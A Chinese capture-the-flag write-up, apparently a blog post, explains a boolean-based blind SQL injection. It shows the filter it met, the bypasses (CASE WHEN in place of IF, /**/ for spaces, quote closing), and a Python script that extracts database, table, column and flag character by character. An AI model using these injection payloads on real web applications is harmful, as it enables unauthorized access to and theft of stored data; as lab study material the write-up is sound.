参考其他师傅的文章
发现只有输入tarnish1、2、3时才会有回显
然后尝试闭合,在fuuz过程中发现了回显,显示了过滤项
hacker!!black_list is /if|and|\s|#|--/i
if可以使用case when来替代
空格可以使用/**/替代
且发现是使用的’来闭合,所以可以在后面接上’2’='1来闭合引号
当使用时可以发现回显中带'flag',使用这个特征来bool盲注tarnishaaa'/**/or/**/'1'='1
在读flag的时候有个问题,就是flag前面有很多不可见字符,要使用mid()来截取
mid截取的长度可以使用通配符来看这个数据有多长,从而选择截取长度_
exp (英文)
import requests
from string import *
url="http://1.14.71.254:28363/"
# payload1="xxx'/**/or/**/case/**/when(show/**/databases/**/like/**/binary/**/{}25)then(1)else/**/0/**/end/**/or/**/'2'='1"
#database=test
# payload2="xxx'/**/or/**/case/**/when((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')like/**/binary/**/{}25)then(1)else/**/0/**/end/**/or/**/'2'='1"
#table=flag
# payload3="xxx'/**/or/**/case/**/when((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='test')like/**/binary/**/{}25)then(1)else/**/0/**/end/**/or/**/'2'='1"
#column=flag
payload="xxx'/**/or/**/case/**/when((select/**/mid(group_concat(flag),20)/**/from/**/flag)like/**/binary/**/{}25)then(1)else/**/0/**/end/**/or/**/'2'='1"
str=digits+ascii_letters+"{}!@#$^&*()-=<>"
str3='_'#用看数据长度
def str2hex(str):
hex1='0x'
for i in str:
hex1+=hex(ord(i))[2:]
return hex1
result=''
while True:
for s in str:
tmp=result+s
hex2=str2hex(tmp)
data = {"username": payload.format(hex2)}
res=requests.post(url=url,data=data)
# print(res.text)
if "flag" in res.text:
result+=s
print(result)
break
496

被折叠的 条评论
为什么被折叠?



